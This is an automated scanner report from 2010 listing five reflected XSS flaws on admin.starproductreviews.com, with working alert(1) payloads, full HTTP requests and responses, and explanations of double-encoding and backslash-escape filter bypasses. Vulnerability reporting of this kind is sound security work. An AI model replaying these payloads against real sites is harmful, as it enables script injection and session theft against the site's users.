admin.starproductreviews.com, XSS, Cross Site Scripting

CWE-79, CAPEC-86 in admin.starproductreviews.com | Vulnerability Crawler Report

Report generated by XSS.CX at Mon Dec 27 13:40:43 CST 2010.


Contents


Contents

Loading



1. Cross-site scripting (reflected)

1.1. http://admin.starproductreviews.com/product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155 [REST URL parameter 2]

1.2. http://admin.starproductreviews.com/product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155 [REST URL parameter 2]

1.3. http://admin.starproductreviews.com/product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155 [REST URL parameter 3]

1.4. http://admin.starproductreviews.com/product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155 [REST URL parameter 3]

1.5. http://admin.starproductreviews.com/product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155 [REST URL parameter 4]



1. Cross-site scripting (reflected)
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://admin.starproductreviews.com/product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155 [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admin.starproductreviews.com
Path:   /product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 94149%255c%2527%253balert%25281%2529%252f%252fbd50bd3db7e was submitted in the REST URL parameter 2. This input was echoed as 94149\\';alert(1)//bd50bd3db7e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap94149%255c%2527%253balert%25281%2529%252f%252fbd50bd3db7e/lewapuwist/yhst-19702657489155 HTTP/1.1
Host: admin.starproductreviews.com
Proxy-Connection: keep-alive
Referer: http://www.leatherpaks.com/lewapuwist.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 27 Dec 2010 19:33:26 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 1901
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>
   LeatherBay Leather Wallet / Purse With Strap94149\';alert(1)//b
...[SNIP]...
<script type="text/javascript">
   var itemId = 'lewapuwist',
   itemName = 'LeatherBay Leather Wallet / Purse With Strap94149\\';alert(1)//bd50bd3db7e',
   storeId = 'yhst-19702657489155',
   storeUrl = 'http://www.leatherpaks.com';
</script>
...[SNIP]...

1.2. http://admin.starproductreviews.com/product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admin.starproductreviews.com
Path:   /product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62223"style%3d"x%3aexpression(alert(1))"fe39b4df485 was submitted in the REST URL parameter 2. This input was echoed as 62223"style="x:expression(alert(1))"fe39b4df485 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap62223"style%3d"x%3aexpression(alert(1))"fe39b4df485/lewapuwist/yhst-19702657489155 HTTP/1.1
Host: admin.starproductreviews.com
Proxy-Connection: keep-alive
Referer: http://www.leatherpaks.com/lewapuwist.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 27 Dec 2010 19:33:25 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 1990
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>
   LeatherBay Leather Wallet / Purse With Strap62223"style="x:expr
...[SNIP]...
<meta name="keywords" content="LeatherBay Leather Wallet / Purse With Strap62223"style="x:expression(alert(1))"fe39b4df485" />
...[SNIP]...

1.3. http://admin.starproductreviews.com/product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admin.starproductreviews.com
Path:   /product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 72102%255c%2527%253balert%25281%2529%252f%252f5bb3c6dc55f was submitted in the REST URL parameter 3. This input was echoed as 72102\\';alert(1)//5bb3c6dc55f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist72102%255c%2527%253balert%25281%2529%252f%252f5bb3c6dc55f/yhst-19702657489155 HTTP/1.1
Host: admin.starproductreviews.com
Proxy-Connection: keep-alive
Referer: http://www.leatherpaks.com/lewapuwist.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 27 Dec 2010 19:33:28 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 1815
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>
   LeatherBay Leather Wallet / Purse With Strap | LeatherPaks.com<
...[SNIP]...
<script type="text/javascript">
   var itemId = 'lewapuwist72102\\';alert(1)//5bb3c6dc55f',
   itemName = 'LeatherBay Leather Wallet / Purse With Strap',
   storeId = 'yhst-19702657489155',
   storeUrl = 'http://www.leatherpaks.com';
</script>
...[SNIP]...

1.4. http://admin.starproductreviews.com/product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://admin.starproductreviews.com
Path:   /product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90271"style%3d"x%3aexpression(alert(1))"ec3d09da7bc was submitted in the REST URL parameter 3. This input was echoed as 90271"style="x:expression(alert(1))"ec3d09da7bc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist90271"style%3d"x%3aexpression(alert(1))"ec3d09da7bc/yhst-19702657489155 HTTP/1.1
Host: admin.starproductreviews.com
Proxy-Connection: keep-alive
Referer: http://www.leatherpaks.com/lewapuwist.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 27 Dec 2010 19:33:28 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 1849
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>
   LeatherBay Leather Wallet / Purse With Strap | LeatherPaks.com<
...[SNIP]...
<a href="http://www.leatherpaks.com/lewapuwist90271"style="x:expression(alert(1))"ec3d09da7bc.html">
...[SNIP]...

1.5. http://admin.starproductreviews.com/product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155 [REST URL parameter 4]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://admin.starproductreviews.com
Path:   /product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 820d4%2527%253balert%25281%2529%252f%252f034ed884967 was submitted in the REST URL parameter 4. This input was echoed as 820d4';alert(1)//034ed884967 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /product/LeatherBay%20Leather%20Wallet%20%252F%20Purse%20With%20Strap/lewapuwist/yhst-19702657489155820d4%2527%253balert%25281%2529%252f%252f034ed884967 HTTP/1.1
Host: admin.starproductreviews.com
Proxy-Connection: keep-alive
Referer: http://www.leatherpaks.com/lewapuwist.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 27 Dec 2010 19:33:29 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 785
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>
    | </title>
<meta name="robots" content="noindex, nofollow" />
...[SNIP]...
<script type="text/javascript">
   var itemId = 'lewapuwist',
   itemName = '',
   storeId = 'yhst-19702657489155820d4';alert(1)//034ed884967',
   storeUrl = '';
</script>
...[SNIP]...

Report generated by XSS.CX at Mon Dec 27 13:40:43 CST 2010.